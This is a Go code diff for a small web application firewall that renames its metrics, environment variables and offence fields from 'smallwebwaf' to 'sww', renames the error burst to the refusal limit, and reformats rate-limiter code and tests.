ConstLabels: source, ConstLabels: source,
@@ -313,7 +361,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb, // AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
// read from abuseIPDB as the metrics are asked for: the checks made, those // read from abuseIPDB as the metrics are asked for: the checks made, those
// that failed, and how many checks the day's budget has left. It is // that failed, and how many checks the day's budget has left. It is
// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set. // called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) { func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource} source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
@@ -321,8 +369,8 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
m.addReputationFailures(source, abuseIPDB.Failures) m.addReputationFailures(source, abuseIPDB.Failures)
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_reputation_daily_budget_remaining", Name: "sww_reputation_daily_budget_remaining",
Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.", Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
ConstLabels: source, ConstLabels: source,
}, func() float64 { }, func() float64 {
return float64(abuseIPDB.BudgetLeft()) return float64(abuseIPDB.BudgetLeft())
@@ -348,29 +396,29 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_sent_total", Name: "sww_alerts_sent_total",
Help: "Alerts the destination took.", Help: "Alerts the destination took.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Counts(name).Sent) return float64(queue.Counts(name).Sent)
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_failed_total", Name: "sww_alert_send_failures_total",
Help: "Requests to the destination that failed.", Help: "Requests to the destination that failed.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Counts(name).Failed) return float64(queue.Counts(name).SendFailures)
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_suppressed_total", Name: "sww_alerts_suppressed_total",
Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " + Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.", "alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Suppressed()) return float64(queue.Suppressed())
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_alerts_dropped_total", Name: "sww_alerts_dropped_total",
Help: "Alerts dropped, the oldest first, from a full queue, and " + Help: "Alerts dropped, the oldest first, from a full queue, and " +
"alerts given up as the destination refused them.", "alerts given up as the destination refused them.",
ConstLabels: destination, ConstLabels: destination,
@@ -393,7 +441,10 @@ func (m *Metrics) RequestStarted() {
// RequestEnded counts a request that has ended without being passed to the app, // RequestEnded counts a request that has ended without being passed to the app,
// from its log line. duration is how long the request took. // from its log line. duration is how long the request took.
func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) { func (m *Metrics) RequestEnded(
line *requestlog.Line,
duration time.Duration,
) {
m.inFlight.Dec() m.inFlight.Dec()
m.count(line, duration, 0) m.count(line, duration, 0)
} }
@@ -414,7 +465,7 @@ func (m *Metrics) RequestReported(
} }
// LimitHit counts a request that broke a rate limit, a byte limit or the // LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit. // refusal limit, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) { func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc() m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
} }
@@ -426,8 +477,8 @@ func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{ for kind, committed := range map[string]bool{
"limit": r.BrokeLimit, "limit": r.BrokeLimit,
"attack": r.Attack, "attack": r.Attack,
"rule_blocked": r.RuleBlocked, "blocked_by_block_rule": r.BlockedByBlockRule,
"waf_blocked": r.WAFBlocked, "blocked_by_core_rule_set": r.BlockedByCoreRuleSet,
} { } {
if committed { if committed {
m.offences.WithLabelValues(kind).Inc() m.offences.WithLabelValues(kind).Inc()
@@ -441,14 +492,14 @@ func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc() m.ruleMatches.WithLabelValues(id, action).Inc()
} }
// WAFMatched counts a request that matched the Core Rule Set's rule id, // CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode. // with SWW_WAF_CORE_RULE_SET_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) { func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc() m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
} }
// StateFileWritten counts a write of the state file name, of size bytes, // StateFileWritten counts a write of the state or cache file name, of size
// that ended with err. // bytes, that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) { func (m *Metrics) StateFileWritten(name string, size int, err error) {
m.stateFileWrites.WithLabelValues(name).Inc() m.stateFileWrites.WithLabelValues(name).Inc()
@@ -466,13 +517,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
m.stateFileSize.WithLabelValues(name).Set(float64(size)) m.stateFileSize.WithLabelValues(name).Set(float64(size))
} }
// StateFileEditTakenIn counts an admin's edit of the state file name // StateFileEditTakenIn counts an admin's edit of the state or cache file name
// taken in while smallwebwaf runs. // taken in while sww runs.
func (m *Metrics) StateFileEditTakenIn(name string) { func (m *Metrics) StateFileEditTakenIn(name string) {
m.stateFileEditsTakenIn.WithLabelValues(name).Inc() m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
} }
// StateFileEditSetAside counts an admin's edit of the state file name // StateFileEditSetAside counts an admin's edit of the state or cache file name
// renamed to name.bad because it did not parse. // renamed to name.bad because it did not parse.
func (m *Metrics) StateFileEditSetAside(name string) { func (m *Metrics) StateFileEditSetAside(name string) {
m.stateFileEditsSetAside.WithLabelValues(name).Inc() m.stateFileEditsSetAside.WithLabelValues(name).Inc()
@@ -485,8 +536,10 @@ func (m *Metrics) count(
) { ) {
class := statusClass(line.Status) class := statusClass(line.Status)
m.requests.WithLabelValues(class, line.Action).Inc() m.requests.WithLabelValues(class, line.Action).Inc()
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes)) m.requestBytes.WithLabelValues(class, line.Action).
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes)) Add(float64(line.RequestBytes))
m.responseBytes.WithLabelValues(class, line.Action).
Add(float64(line.ResponseBytes))
m.requestDuration.Observe(duration.Seconds()) m.requestDuration.Observe(duration.Seconds())
if upstreamDuration > 0 { if upstreamDuration > 0 {
@@ -504,9 +557,12 @@ func (m *Metrics) count(
// addReputationQueries adds the counter of the queries to source, a DNSBL // addReputationQueries adds the counter of the queries to source, a DNSBL
// zone, or of the checks of clients with AbuseIPDB, which count tells. // zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) { func (m *Metrics) addReputationQueries(
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_queries_total", Name: "sww_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.", Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
ConstLabels: source, ConstLabels: source,
}, func() float64 { }, func() float64 {
@@ -517,9 +573,12 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
// addReputationFailures adds the counter of the fetches of source, a // addReputationFailures adds the counter of the fetches of source, a
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB, // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
// that failed, which count tells. // that failed, which count tells.
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) { func (m *Metrics) addReputationFailures(
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_failures_total", Name: "sww_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " + Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
"AbuseIPDB, that failed.", "AbuseIPDB, that failed.",
ConstLabels: source, ConstLabels: source,
@@ -544,12 +603,17 @@ func statusClass(status int) string {
// counterVec returns a counter named name, described by help, with a // counterVec returns a counter named name, described by help, with a
// series for each set of values of labels. // series for each set of values of labels.
func counterVec(name, help string, labels []string) *prometheus.CounterVec { func counterVec(name, help string, labels []string) *prometheus.CounterVec {
return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help}, return prometheus.NewCounterVec(
labels) prometheus.CounterOpts{Name: name, Help: help},
labels,
)
} }
// gaugeVec returns a gauge named name, described by help, with a series // gaugeVec returns a gauge named name, described by help, with a series
// for each set of values of labels. // for each set of values of labels.
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec { func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels) return prometheus.NewGaugeVec(
prometheus.GaugeOpts{Name: name, Help: help},
labels,
)
} }
+18 -4
View File
@@ -23,11 +23,15 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
{Forwarded: true, Status: 502, ResponseBytes: 12}, {Forwarded: true, Status: 502, ResponseBytes: 12},
// Closed without an answer: refused, and no response. // Closed without an answer: refused, and no response.
{Refused: true, Status: 0}, {Refused: true, Status: 0},
// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor // Answered 404 for a path under /_sww/: neither forwarded nor
// refused. // refused.
{Status: 404}, {Status: 404},
} { } {
limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r) limiter.AddToHistory(
client,
start.Add(time.Duration(i)*time.Minute),
r,
)
} }
want := ratelimit.History{ want := ratelimit.History{
@@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
// A later answer replaces it, and one for a client the table does not // A later answer replaces it, and one for a client the table does not
// hold adds no client. // hold adds no client.
limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR") limiter.AddLookup(
client,
start.Add(time.Hour),
"AS64497",
"Other Net",
"FR",
)
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE") limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
want := ratelimit.History{ want := ratelimit.History{
@@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) {
for range limit { for range limit {
wantCount(t, limiter, client, start, "") wantCount(t, limiter, client, start, "")
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) limiter.AddToHistory(
client,
start,
ratelimit.Request{Forwarded: true},
)
} }
limiter.Reset(client) limiter.Reset(client)
+51 -34
View File
@@ -2,7 +2,7 @@
// and bytes counted over a minute, an hour and a day, as the "Counting // and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes // method" section of SPEC.md describes, which tell when a request takes
// the client over a rate limit or a byte limit, and each client's history // the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are // since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
// kept, in memory, and written to clients.json and read from it by the // kept, in memory, and written to clients.json and read from it by the
// state package. // state package.
package ratelimit package ratelimit
@@ -25,7 +25,7 @@ const (
KindRequests = "requests" KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes. // KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes" KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf // KindRefusals is the refusal limit, on a client's requests sww
// refused after a rule file match or for a missing or wrong token. // refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals" KindRefusals = "refusals"
) )
@@ -54,7 +54,7 @@ type Limiter struct {
// Client is a client in the table, as clients.json holds it: its buckets // Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the // of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history. // minute, which the refusal limit counts, and its history.
// //
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct { type Client struct {
@@ -92,9 +92,9 @@ type History struct {
ASName string `json:"as_name,omitempty"` ASName string `json:"as_name,omitempty"`
Country string `json:"country,omitempty"` Country string `json:"country,omitempty"`
LookedUp time.Time `json:"looked_up,omitzero"` LookedUp time.Time `json:"looked_up,omitzero"`
// Requests are all the client's requests: Forwarded those servewaf allowed, // Requests are all the client's requests: Forwarded those waf allowed,
// Refused those it refused, and neither those for a path under // Refused those it refused, and neither those for a path under
// /_smallwebwaf/. // /_sww/.
Requests int64 `json:"requests"` Requests int64 `json:"requests"`
Forwarded int64 `json:"forwarded"` Forwarded int64 `json:"forwarded"`
Refused int64 `json:"refused"` Refused int64 `json:"refused"`
@@ -121,13 +121,14 @@ type Responses struct {
//nolint:tagliatelle // the state files use snake_case, as the request log does //nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct { type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the // Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match // refusal limit, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block // of a ban rule or a request for a trap path, BlockedByBlockRule those a
// rule refused, and WAFBlocked those the Core Rule Set refused. // block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
// refused.
Limit int64 `json:"limit"` Limit int64 `json:"limit"`
Attack int64 `json:"attack"` Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"` BlockedByBlockRule int64 `json:"blocked_by_block_rule"`
WAFBlocked int64 `json:"waf_blocked"` BlockedByCoreRuleSet int64 `json:"blocked_by_core_rule_set"`
// TokenRefused is what a clients.json written by an earlier version gives, // TokenRefused is what a clients.json written by an earlier version gives,
// which must still load. Nothing adds to it. // which must still load. Nothing adds to it.
TokenRefused int64 `json:"token_refused,omitempty"` TokenRefused int64 `json:"token_refused,omitempty"`
@@ -135,8 +136,8 @@ type Offences struct {
// Request is what a client's history keeps of one of its requests. // Request is what a client's history keeps of one of its requests.
type Request struct { type Request struct {
// Forwarded is true for a request servewaf allowed, and Refused for one it // Forwarded is true for a request waf allowed, and Refused for one it
// refused. Both are false for a request for a path under /_smallwebwaf/. // refused. Both are false for a request for a path under /_sww/.
Forwarded bool Forwarded bool
Refused bool Refused bool
// Status is what the client was sent, 0 if nothing was. // Status is what the client was sent, 0 if nothing was.
@@ -146,17 +147,17 @@ type Request struct {
RequestBytes int64 RequestBytes int64
ResponseBytes int64 ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte // BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or // limit or the refusal limit, Attack for one that matched a ban rule or
// asked for a trap path, RuleBlocked for one a block rule refused, and // asked for a trap path, BlockedByBlockRule for one a block rule refused,
// WAFBlocked for one the Core Rule Set refused. // and BlockedByCoreRuleSet for one the Core Rule Set refused.
BrokeLimit bool BrokeLimit bool
Attack bool Attack bool
RuleBlocked bool BlockedByBlockRule bool
WAFBlocked bool BlockedByCoreRuleSet bool
} }
// New returns a Limiter for limits, with no client counted yet, whose // New returns a Limiter for limits, with no client counted yet, whose
// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past // table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and // it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back. // starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter { func New(limits Limits, maxClients int) *Limiter {
@@ -184,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
} }
} }
// Hit is a request that takes a client over a rate limit or the error // Hit is a request that takes a client over a rate limit or the refusal
// burst, or whose bytes take it over a byte limit. // limit, or whose bytes take it over a byte limit.
type Hit struct { type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit, // Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst. // KindRefusals for the refusal limit.
Kind string Kind string
// Window is "minute", "hour" or "day". // Window is "minute", "hour" or "day".
Window string Window string
@@ -240,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
buckets := c.buckets() buckets := c.buckets()
for i, w := range l.windows { for i, w := range l.windows {
if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) { if w.limit > 0 &&
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
return true return true
} }
} }
@@ -258,21 +260,26 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent) return l.count(client, now, 0, bytes, percent)
} }
// CountRefusal counts a request from client at now that smallwebwaf // CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or // refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute // wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which // that ends at now, this one included, are more than limit, which breaks
// breaks the error burst, and the hit. // the refusal limit, and the hit.
func (l *Limiter) CountRefusal( func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64, client netip.Prefix, now time.Time, limit int64,
) (Hit, bool) { ) (Hit, bool) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1) count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count} hit := Hit{
Kind: KindRefusals,
Window: "minute",
Limit: limit,
Count: count,
}
return hit, count > float64(threshold) return hit, count > float64(limit)
} }
// Reset sets client's counts of requests, of bytes and of refusals in // Reset sets client's counts of requests, of bytes and of refusals in
@@ -291,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) {
// AddToHistory adds r, a request from client at now, to the client's // AddToHistory adds r, a request from client at now, to the client's
// history. // history.
func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { func (l *Limiter) AddToHistory(
client netip.Prefix,
now time.Time,
r Request,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -323,12 +334,12 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
h.Offences.Attack++ h.Offences.Attack++
} }
if r.RuleBlocked { if r.BlockedByBlockRule {
h.Offences.RuleBlocked++ h.Offences.BlockedByBlockRule++
} }
if r.WAFBlocked { if r.BlockedByCoreRuleSet {
h.Offences.WAFBlocked++ h.Offences.BlockedByCoreRuleSet++
} }
} }
@@ -469,7 +480,13 @@ func (l *Limiter) count(
for i, w := range l.windows { for i, w := range l.windows {
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests) requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes) byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent) limit, byteLimit := percentOf(
w.limit,
percent,
), percentOf(
w.byteLimit,
percent,
)
switch { switch {
case hit.Window != "": case hit.Window != "":
+133 -37
View File
@@ -13,7 +13,7 @@ import (
const limit = 3 const limit = 3
// tableSize is the most clients the tests' tables hold, the default of // tableSize is the most clients the tests' tables hold, the default of
// SWWAF_MAX_TRACKED_CLIENTS. // SWW_WAF_MAX_TRACKED_CLIENTS.
const tableSize = 20000 const tableSize = 20000
// whole is the percentage of each limit a client gets when nothing lowers // whole is the percentage of each limit a client gets when nothing lowers
@@ -26,13 +26,17 @@ const (
hour = "hour" hour = "hour"
) )
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) { func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1}, limiter := ratelimit.New(
tableSize) ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
tableSize,
)
if limiter.OverARateLimit(client, now) { if limiter.OverARateLimit(client, now) {
t.Error("a client never seen is over a rate limit") t.Error("a client never seen is over a rate limit")
@@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
for range limit { for range limit {
if limiter.OverARateLimit(client, now) { if limiter.OverARateLimit(client, now) {
t.Error("a client with room for another request is over a rate limit") t.Error(
"a client with room for another request is over a rate limit",
)
} }
wantCount(t, limiter, client, now, "") wantCount(t, limiter, client, now, "")
@@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
held, _ := limiter.Client(client) held, _ := limiter.Client(client)
if held.Minute.Current != limit { if held.Minute.Current != limit {
t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit) t.Errorf(
"the client's minute holds %d requests, want %d",
held.Minute.Current,
limit,
)
} }
wantCount(t, limiter, client, now, minute) wantCount(t, limiter, client, now, minute)
@@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
// A quarter into the next bucket, the window still covers three // A quarter into the next bucket, the window still covers three
// quarters of the bucket before, with its four requests: 3 + 1 // quarters of the bucket before, with its four requests: 3 + 1
// is over the limit. // is over the limit.
wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window) wantCount(
t,
limiter,
client,
start.Add(tc.length+quarter),
tc.window,
)
// Three quarters into it, a quarter: 1 + 2 is within. // Three quarters into it, a quarter: 1 + 2 is within.
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "") wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize) limiter := ratelimit.New(
ratelimit.Limits{PerMinute: limit, PerHour: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1, Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf("request over the limit gives %+v and %t, want %+v and true", t.Errorf(
hit, over, want) "request over the limit gives %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
} }
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}, limiter := ratelimit.New(
tableSize) ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
_, hit, over := limiter.Count(client, start, 50) _, hit, over := limiter.Count(client, start, 50)
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3} want := ratelimit.Hit{
Kind: ratelimit.KindRequests,
Window: minute,
Limit: 2,
Count: 3,
}
if !over || hit != want { if !over || hit != want {
t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want) t.Errorf(
"the third request gives %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
// Half of the largest byte limit is still far above a TiB: working it // Half of the largest byte limit is still far above a TiB: working it
@@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
t.Parallel() t.Parallel()
// Only the hour has limits: the minute's and the day's are off. // Only the hour has limits: the minute's and the day's are off.
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}, limiter := ratelimit.New(
tableSize) ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
// hour's limits, which are 0; the minute's, which are off, stay off. // hour's limits, which are 0; the minute's, which are off, stay off.
_, hit, _ := limiter.Count(client, start, 0) _, hit, _ := limiter.Count(client, start, 0)
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1} want := ratelimit.Hit{
Kind: ratelimit.KindRequests,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want { if hit != want {
t.Errorf("the first request gives %+v, want %+v", hit, want) t.Errorf("the first request gives %+v, want %+v", hit, want)
} }
_, hit, _ = limiter.CountBytes(client, start, 1, 0) _, hit, _ = limiter.CountBytes(client, start, 1, 0)
want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1} want = ratelimit.Hit{
Kind: ratelimit.KindBytes,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want { if hit != want {
t.Errorf("the first byte gives %+v, want %+v", hit, want) t.Errorf("the first byte gives %+v, want %+v", hit, want)
} }
@@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
t.Fatal("600 bytes are over the limit of 1000") t.Fatal("600 bytes are over the limit of 1000")
} }
_, hit, over := limiter.CountBytes(client, midnight(), 600, whole) _, hit, over := limiter.CountBytes(
client,
midnight(),
600,
whole,
)
want := ratelimit.Hit{ want := ratelimit.Hit{
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200, Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want) t.Errorf(
"1200 bytes give %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
}) })
} }
@@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}, limiter := ratelimit.New(
tableSize) ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("203.0.113.10/32") other := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -292,7 +351,9 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "") wantBytesCount(t, limiter, client, start, 1000, "")
} }
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) { func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
t *testing.T,
) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
@@ -301,7 +362,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
for range limit { for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over { if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit) t.Fatalf(
"a refusal within the limit of %d broke the refusal limit",
limit,
)
} }
} }
